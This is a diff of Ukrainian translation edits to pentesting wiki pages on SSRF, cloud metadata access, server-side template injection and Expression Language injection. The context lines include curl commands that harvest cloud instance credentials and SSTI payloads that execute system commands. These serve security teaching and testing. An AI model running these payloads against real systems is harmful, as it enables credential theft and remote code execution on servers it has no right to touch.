Для **додаткової інформації** ознайомтеся з доповіддю, де пояснюється ця атака: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference) Для **додаткової інформації** ознайомтеся з доповіддю, де ця атака пояснюється: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
## Сліпа SSRF ## Сліпа SSRF
@ -333,7 +333,7 @@ ssrf-vulnerable-platforms.md
- [Блог про використання SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) - [Блог про використання SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_ - це _Java RMI_ сканер вразливостей, який підтримує операції атаки для найбільш поширених вразливостей _Java RMI_. Більшість доступних операцій підтримують опцію `--ssrf`, щоб згенерувати _SSRF_ навантаження для запитуваної операції. Разом з опцією `--gopher` можна безпосередньо генерувати готові до використання _gopher_ навантаження. _remote-method-guesser_ - це _Java RMI_ сканер вразливостей, який підтримує операції атаки для найбільш поширених вразливостей _Java RMI_. Більшість доступних операцій підтримують опцію `--ssrf`, щоб згенерувати _SSRF_ навантаження для запитуваної операції. Разом з опцією `--gopher`, готові до використання _gopher_ навантаження можуть бути згенеровані безпосередньо.
### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy) ### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)

View File

@ -13,7 +13,7 @@
> [!CAUTION] > [!CAUTION]
> Зверніть увагу, що якщо екземпляр EC2 вимагає IMDSv2, [**згідно з документацією**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **відповідь на PUT запит** матиме **обмеження на кількість пересилок 1**, що унеможливлює доступ до метаданих EC2 з контейнера всередині екземпляра EC2. > Зверніть увагу, що якщо екземпляр EC2 вимагає IMDSv2, [**згідно з документацією**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **відповідь на PUT запит** матиме **обмеження на кількість пересилок 1**, що унеможливлює доступ до метаданих EC2 з контейнера всередині екземпляра EC2.
> >
> Більше того, **IMDSv2** також **блокує запити на отримання токена, які містять заголовок `X-Forwarded-For`**. Це зроблено для запобігання доступу до нього з неправильно налаштованих зворотних проксі. > Більше того, **IMDSv2** також **блокує запити на отримання токена, які містять заголовок `X-Forwarded-For`**. Це зроблено для запобігання доступу до нього неправильно налаштованих зворотних проксі.
Ви можете знайти інформацію про [точки доступу до метаданих у документації](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). У наступному скрипті отримується деяка цікава інформація з цього: Ви можете знайти інформацію про [точки доступу до метаданих у документації](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). У наступному скрипті отримується деяка цікава інформація з цього:
```bash ```bash
@ -94,7 +94,7 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
### SSRF в AWS ECS (Container Service) облікові дані ### SSRF в AWS ECS (Container Service) облікові дані
**ECS** - це логічна група EC2 екземплярів, на яких ви можете запускати додаток, не масштабуючи свою власну інфраструктуру управління кластерами, оскільки ECS управляє цим за вас. Якщо вам вдасться скомпрометувати службу, що працює в **ECS**, **метадані кінцевих точок змінюються**. **ECS** - це логічна група EC2-екземплярів, на яких ви можете запускати додаток, не масштабуючи свою власну інфраструктуру управління кластерами, оскільки ECS управляє цим за вас. Якщо вам вдасться скомпрометувати службу, що працює в **ECS**, **метадані кінцевих точок змінюються**.
Якщо ви отримуєте доступ до _**http://169.254.170.2/v2/credentials/\<GUID>**_, ви знайдете облікові дані машини ECS. Але спочатку вам потрібно **знайти \<GUID>**. Щоб знайти \<GUID>, вам потрібно прочитати змінну **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** всередині машини.\ Якщо ви отримуєте доступ до _**http://169.254.170.2/v2/credentials/\<GUID>**_, ви знайдете облікові дані машини ECS. Але спочатку вам потрібно **знайти \<GUID>**. Щоб знайти \<GUID>, вам потрібно прочитати змінну **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** всередині машини.\
Ви можете прочитати її, експлуатуючи **Path Traversal** до `file:///proc/self/environ`\ Ви можете прочитати її, експлуатуючи **Path Traversal** до `file:///proc/self/environ`\
@ -226,13 +226,13 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \ curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google" -H "Metadata-Flavor: Google"
``` ```
Бета наразі НЕ потребує заголовка (дякую Mathias Karlsson @avlidienbrunn) Бета наразі НЕ потребує заголовка (дякую Матіасу Карлссону @avlidienbrunn)
``` ```
http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
``` ```
> [!CAUTION] > [!CAUTION]
> Щоб **використати ексфільтрований токен сервісного облікового запису**, ви можете просто зробити: > Щоб **використати ексфільтрований токен облікового запису служби**, ви можете просто зробити:
> >
> ```bash > ```bash
> # Через змінні середовища > # Через змінні середовища
@ -301,7 +301,7 @@ done
> [!WARNING] > [!WARNING]
> Тут немає таких речей, як AWS Roles або GCP service account, тому не очікуйте знайти облікові дані бота метаданих > Тут немає таких речей, як AWS Roles або GCP service account, тому не очікуйте знайти облікові дані бота метаданих
Документація доступна за посиланням [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) Документація доступна за [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
``` ```
curl http://169.254.169.254/metadata/v1/id curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json http://169.254.169.254/metadata/v1.json
@ -331,7 +331,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
> >
> Тому, щоб знайти всі прикріплені MI, ви можете зробити: > Тому, щоб знайти всі прикріплені MI, ви можете зробити:
> >
> - Отримати **прикріплені ідентичності за допомогою az cli** (якщо ви вже скомпрометували принципала в Azure-орендарі) > - Отримати **прикріплені ідентичності за допомогою az cli** (якщо ви вже скомпрометували принципала в Azure tenant)
> >
> ```bash > ```bash
> az vm identity show \ > az vm identity show \
@ -362,7 +362,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq > "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ``` > ```
> >
> - **Отримати всі** визначені керовані ідентичності в орендарі та **брутфорсити**, щоб перевірити, чи є якісь з них прикріпленими до VM: > - **Отримати всі** визначені керовані ідентичності в tenant і **брутфорсити**, щоб перевірити, чи є якась з них прикріпленою до VM:
> >
> ```bash > ```bash
> az identity list > az identity list
@ -426,7 +426,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
- [https://management.azure.com](https://management.azure.com/) - [https://management.azure.com](https://management.azure.com/)
> [!CAUTION] > [!CAUTION]
> У запитах на токен використовуйте будь-який з параметрів `object_id`, `client_id` або `msi_res_id`, щоб вказати керовану ідентичність, яку ви хочете використовувати ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Якщо жоден з них не вказано, буде використано **за замовчуванням MI**. > У запитах на токен використовуйте будь-який з параметрів `object_id`, `client_id` або `msi_res_id`, щоб вказати керовану ідентичність, яку ви хочете використовувати ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Якщо жоден, буде використано **за замовчуванням MI**.
{{#tabs}} {{#tabs}}
{{#tab name="Bash"}} {{#tab name="Bash"}}
@ -540,7 +540,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a> ## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
> [!WARNING] > [!WARNING]
> Зверніть увагу, що в IBM за замовчуванням метадані не ввімкнені, тому ви можете не мати доступу до них, навіть якщо ви знаходитесь у VM IBM cloud. > Зверніть увагу, що в IBM за замовчуванням метадані не ввімкнені, тому можливо, що ви не зможете отримати до них доступ, навіть якщо ви знаходитесь у VM IBM cloud.
```bash ```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\ export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\ -H "Metadata-Flavor: ibm"\
@ -572,13 +572,13 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
## OpenStack/RackSpace ## OpenStack/RackSpace
Не згадується необхідність заголовка. Метадані можна отримати через: Необхідність заголовка не згадується. Метадані можна отримати через:
- `http://169.254.169.254/openstack` - `http://169.254.169.254/openstack`
## HP Helion ## HP Helion
Не згадується необхідність заголовка і тут. Метадані доступні за адресою: Необхідність заголовка також не згадується тут. Метадані доступні за адресою:
- `http://169.254.169.254/2009-04-04/meta-data/` - `http://169.254.169.254/2009-04-04/meta-data/`
@ -610,7 +610,7 @@ Kubernetes ETCD може містити API-ключі, внутрішні IP-а
Метадані Docker можна отримати локально, з прикладами для отримання інформації про контейнери та зображення: Метадані Docker можна отримати локально, з прикладами для отримання інформації про контейнери та зображення:
- Простий приклад доступу до метаданих контейнерів та зображень через сокет Docker: - Простий приклад для доступу до метаданих контейнерів та зображень через сокет Docker:
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` - `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
- Всередині контейнера використовуйте curl з сокетом Docker: - Всередині контейнера використовуйте curl з сокетом Docker:
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json` - `curl --unix-socket /var/run/docker.sock http://foo/containers/json`

View File

@ -153,7 +153,7 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
``` ```
### Fuzzing ### Fuzzing
Інструмент [**recollapse**](https://github.com/0xacb/recollapse) може генерувати варіації з даного вводу, щоб спробувати обійти використаний regex. Перегляньте [**цей пост**](https://0xacb.com/2022/11/21/recollapse/) для отримання додаткової інформації. Інструмент [**recollapse**](https://github.com/0xacb/recollapse) може генерувати варіації з даного введення, щоб спробувати обійти використаний regex. Перегляньте [**цей пост**](https://0xacb.com/2022/11/21/recollapse/) для отримання додаткової інформації.
### Automatic Custom Wordlists ### Automatic Custom Wordlists
@ -194,9 +194,9 @@ _Трюк з зворотним слешем_ використовує різн
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg) ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg)
### Ліва квадратна дужка ### Лівий квадратний дужка
Символ “ліва квадратна дужка” `[` в сегменті userinfo може призвести до того, що UriComponentsBuilder Spring поверне значення імені хоста, яке відрізняється від браузерів: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878) Символ “лівий квадратний дужка” `[` в сегменті userinfo може призвести до того, що UriComponentsBuilder Spring поверне значення імені хоста, яке відрізняється від браузерів: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
### Інші непорозуміння ### Інші непорозуміння

View File

@ -19,7 +19,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
``` ```
Пейлоад `{{bad-stuff-here}}` впроваджується в параметр `name`. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати движком шаблонів, потенційно отримуючи контроль над сервером. Пейлоад `{{bad-stuff-here}}` впроваджується в параметр `name`. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати движком шаблонів, потенційно отримуючи контроль над сервером.
Щоб запобігти вразливостям ін'єкції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарію та валідацію введених даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості. Щоб запобігти вразливостям ін'єкції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарію та валідацію введених користувачем даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості.
### Виявлення ### Виявлення
@ -28,7 +28,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
- Викинуті помилки, які виявляють вразливість і потенційно движок шаблонів. - Викинуті помилки, які виявляють вразливість і потенційно движок шаблонів.
- Відсутність пейлоаду у відображенні або частини його відсутні, що вказує на те, що сервер обробляє його інакше, ніж звичайні дані. - Відсутність пейлоаду у відображенні або частини його відсутні, що вказує на те, що сервер обробляє його інакше, ніж звичайні дані.
- **Plaintext Context**: Відрізняти від XSS, перевіряючи, чи сервер оцінює вирази шаблону (наприклад, `{{7*7}}`, `${7*7}`). - **Plaintext Context**: Відрізняти від XSS, перевіряючи, чи сервер оцінює вирази шаблону (наприклад, `{{7*7}}`, `${7*7}`).
- **Code Context**: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, зміна `greeting` в `http://vulnerable-website.com/?greeting=data.username`, щоб перевірити, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача. - **Code Context**: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, зміна `greeting` у `http://vulnerable-website.com/?greeting=data.username`, щоб перевірити, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача.
#### Фаза ідентифікації #### Фаза ідентифікації
@ -69,7 +69,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
### Generic ### Generic
У цьому **wordlist** ви можете знайти **змінні, визначені** в середовищах деяких з нижче згаданих движків: У цьому **wordlist** ви можете знайти **змінні, визначені** в середовищах деяких з наведених нижче движків:
- [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt) - [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
- [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) - [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
@ -101,7 +101,7 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
- `{{7*7}} = {{7*7}}` - `{{7*7}} = {{7*7}}`
- `${7*7} = 49` - `${7*7} = 49`
- `#{7*7} = 49 -- (legacy)` - `#{7*7} = 49 -- (старий)`
- `${7*'7'} Нічого` - `${7*'7'} Нічого`
- `${foobar}` - `${foobar}`
```java ```java
@ -156,7 +156,7 @@ $out.read()
### Thymeleaf ### Thymeleaf
У Thymeleaf загальним тестом на вразливості SSTI є вираз `${7*7}`, який також застосовується до цього шаблонного движка. Для потенційного віддаленого виконання коду можуть бути використані такі вирази: У Thymeleaf загальним тестом на вразливості SSTI є вираз `${7*7}`, який також застосовується до цього шаблонного движка. Для потенційного віддаленого виконання коду можна використовувати такі вирази:
- SpringEL: - SpringEL:
@ -294,7 +294,7 @@ Jinjava - це проект з відкритим кодом, розроблен
**Jinjava - Виконання команд** **Jinjava - Виконання команд**
Виправлено за [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230) Виправлено за допомогою [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
```java ```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
@ -320,7 +320,7 @@ Jinjava - це проект з відкритим кодом, розроблен
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest - `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() - `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдено [Jinjava проект на Github](https://github.com/HubSpot/jinjava/). Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдіть [проект Jinjava на Github](https://github.com/HubSpot/jinjava/).
```java ```java
{{request.isDebug()}} {{request.isDebug()}}
//output: False //output: False
@ -373,10 +373,10 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
- `${{7*7}}` - 49 - `${{7*7}}` - 49
- `${{request}}, ${{session}}, {{faceContext}}` - `${{request}}, ${{session}}, {{faceContext}}`
Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (наприклад, веб-сторінками) та логікою програми (наприклад, керованими біном) у JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають: Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (наприклад, веб-сторінками) та логікою програми (наприклад, керованими біном) в JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають:
- **JavaServer Faces (JSF)**: Використовує EL для прив'язки компонентів на сторінках JSF до відповідних даних та дій на сервері. - **JavaServer Faces (JSF)**: Використовує EL для прив'язки компонентів на сторінках JSF до відповідних даних та дій на сервері.
- **JavaServer Pages (JSP)**: EL використовується в JSP для доступу та маніпуляції даними в JSP-сторінках, що полегшує з'єднання елементів сторінки з даними програми. - **JavaServer Pages (JSP)**: EL використовується в JSP для доступу та маніпуляції даними на сторінках JSP, що полегшує з'єднання елементів сторінки з даними програми.
- **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперебійної взаємодії між веб-шаром та керованими біном, що забезпечує більш узгоджену структуру програми. - **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперебійної взаємодії між веб-шаром та керованими біном, що забезпечує більш узгоджену структуру програми.
Перегляньте наступну сторінку, щоб дізнатися більше про **експлуатацію EL інтерпретаторів**: Перегляньте наступну сторінку, щоб дізнатися більше про **експлуатацію EL інтерпретаторів**:
@ -479,7 +479,7 @@ array("first_name" => $user.first_name)
``` ```
**Більше інформації** **Більше інформації**
- У розділі Twig та Twig (Sandboxed) на [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) - У розділі Twig і Twig (Sandboxed) на [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
### Plates (PHP) ### Plates (PHP)
@ -669,11 +669,11 @@ URLencoded:
### JsRender (NodeJS) ### JsRender (NodeJS)
| **Шаблон** | **Опис** | | **Шаблон** | **Опис** |
| ---------- | ---------------------------------------- | |------------|----------------------------------------|
| | Оцінити та відобразити вихід | | | Оцінити та відобразити вихід |
| | Оцінити та відобразити HTML-кодований вихід | | | Оцінити та відобразити HTML-кодований вихід |
| | Коментар | | | Коментар |
| і | Дозволити код (за замовчуванням вимкнено) | | і | Дозволити код (за замовчуванням вимкнено) |
- \= 49 - \= 49
@ -776,7 +776,7 @@ range.constructor(
<figure><img src="../../images/image (5).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg</a></p></figcaption></figure> <figure><img src="../../images/image (5).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg</a></p></figcaption></figure>
- Більше інформації на [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) - Більше інформації в [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Python ### Python
@ -817,11 +817,11 @@ range.constructor(
[Офіційний сайт](http://jinja.pocoo.org) [Офіційний сайт](http://jinja.pocoo.org)
> Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку юнікоду, необов'язкове інтегроване середовище виконання в пісочниці, широко використовується і ліцензований за BSD. > Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку юнікоду, необов'язкове інтегроване середовище виконання в пісочниці, широко використовується та ліцензований за BSD.
- `{{7*7}} = Помилка` - `{{7*7}} = Error`
- `${7*7} = ${7*7}` - `${7*7} = ${7*7}`
- `{{foobar}} Нічого` - `{{foobar}} Nothing`
- `{{4*4}}[[5*5]]` - `{{4*4}}[[5*5]]`
- `{{7*'7'}} = 7777777` - `{{7*'7'}} = 7777777`
- `{{config}}` - `{{config}}`
@ -876,7 +876,7 @@ range.constructor(
jinja2-ssti.md jinja2-ssti.md
{{#endref}} {{#endref}}
Інші пейлоади в [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) Інші payloads в [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
### Mako (Python) ### Mako (Python)
```python ```python
@ -943,21 +943,19 @@ ${x}
``` ```
### SSTI в GO ### SSTI в GO
У шаблонному двигуні Go підтвердження його використання можна здійснити за допомогою специфічних payloads: У шаблонному двигуні Go підтвердження його використання можна здійснити за допомогою специфічних payload:
- `{{ . }}`: Відкриває структуру даних. Наприклад, якщо передано об'єкт з атрибутом `Password`, `{{ .Password }}` може його розкрити. - `{{ . }}`: Відкриває структуру даних. Наприклад, якщо передано об'єкт з атрибутом `Password`, `{{ .Password }}` може його розкрити.
- `{{printf "%s" "ssti" }}`: Очікується, що відобразить рядок "ssti". - `{{printf "%s" "ssti" }}`: Очікується, що відобразить рядок "ssti".
- `{{html "ssti"}}`, `{{js "ssti"}}`: Ці payloads повинні повернути "ssti" без додавання "html" або "js". Додаткові директиви можна дослідити в документації Go [тут](https://golang.org/pkg/text/template). - `{{html "ssti"}}`, `{{js "ssti"}}`: Ці payload повинні повернути "ssti" без додавання "html" або "js". Додаткові директиви можна дослідити в документації Go [тут](https://golang.org/pkg/text/template).
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure> <figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
**XSS Експлуатація** **Експлуатація XSS**
З пакетом `text/template` XSS може бути простим шляхом безпосереднього вставлення payload. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{"<script>alert(1)</script>"}}` призводить до `&lt;script&gt;alert(1)&lt;/script&gt;`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} З пакетом `text/template` XSS може бути простим шляхом безпосереднього вставлення payload. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{"<script>alert(1)</script>"}}` призводить до `&lt;script&gt;alert(1)&lt;/script&gt;`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code **Експлуатація RCE**
**RCE Експлуатація**
Експлуатація RCE суттєво відрізняється між `html/template` та `text/template`. Модуль `text/template` дозволяє викликати будь-яку публічну функцію безпосередньо (використовуючи значення “call”), що не дозволено в `html/template`. Документація для цих модулів доступна [тут для html/template](https://golang.org/pkg/html/template/) та [тут для text/template](https://golang.org/pkg/text/template/). Експлуатація RCE суттєво відрізняється між `html/template` та `text/template`. Модуль `text/template` дозволяє викликати будь-яку публічну функцію безпосередньо (використовуючи значення “call”), що не дозволено в `html/template`. Документація для цих модулів доступна [тут для html/template](https://golang.org/pkg/html/template/) та [тут для text/template](https://golang.org/pkg/text/template/).
@ -975,7 +973,7 @@ return string(out)
### Більше експлойтів ### Більше експлойтів
Перегляньте решту [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) для отримання більше експлойтів. Також ви можете знайти цікаву інформацію про теги в [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) Перегляньте решту [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) для більше експлойтів. Також ви можете знайти цікаву інформацію про теги в [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
## BlackHat PDF ## BlackHat PDF

View File

@ -1,28 +1,28 @@
# EL - Expression Language # EL - Мова виразів
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Bsic Info ## Основна інформація
Expression Language (EL) є невід'ємною частиною JavaEE для зв'язку між презентаційним шаром (наприклад, веб-сторінками) та логікою програми (наприклад, керованими біном), що дозволяє їх взаємодію. Вона переважно використовується в: Мова виразів (EL) є невід'ємною частиною JavaEE для зв'язування презентаційного шару (наприклад, веб-сторінки) та логіки програми (наприклад, керовані бінари), що дозволяє їх взаємодію. Вона переважно використовується в:
- **JavaServer Faces (JSF)**: Для прив'язки компонентів UI до даних/дій на сервері. - **JavaServer Faces (JSF)**: Для прив'язки компонентів UI до даних/дій на сервері.
- **JavaServer Pages (JSP)**: Для доступу до даних та маніпуляцій у JSP-сторінках. - **JavaServer Pages (JSP)**: Для доступу до даних та маніпуляцій у JSP-сторінках.
- **Contexts and Dependency Injection for Java EE (CDI)**: Для полегшення взаємодії веб-шару з керованими біном. - **Contexts and Dependency Injection for Java EE (CDI)**: Для полегшення взаємодії веб-шару з керованими бінами.
**Контексти використання**: **Контексти використання**:
- **Spring Framework**: Застосовується в різних модулях, таких як Security та Data. - **Spring Framework**: Застосовується в різних модулях, таких як Безпека та Дані.
- **Загальне використання**: Через SpEL API розробниками в мовах на базі JVM, таких як Java, Kotlin та Scala. - **Загальне використання**: Через SpEL API розробниками в мовах на базі JVM, таких як Java, Kotlin та Scala.
EL присутня в технологіях JavaEE, автономних середовищах і розпізнається через розширення файлів `.jsp` або `.jsf`, стекові помилки та терміни, такі як "Servlet" у заголовках. Однак її функції та використання певних символів можуть залежати від версії. EL присутня в технологіях JavaEE, автономних середовищах і розпізнається через розширення файлів `.jsp` або `.jsf`, стекові помилки та терміни, такі як "Servlet" у заголовках. Однак її функції та використання певних символів можуть залежати від версії.
> [!NOTE] > [!NOTE]
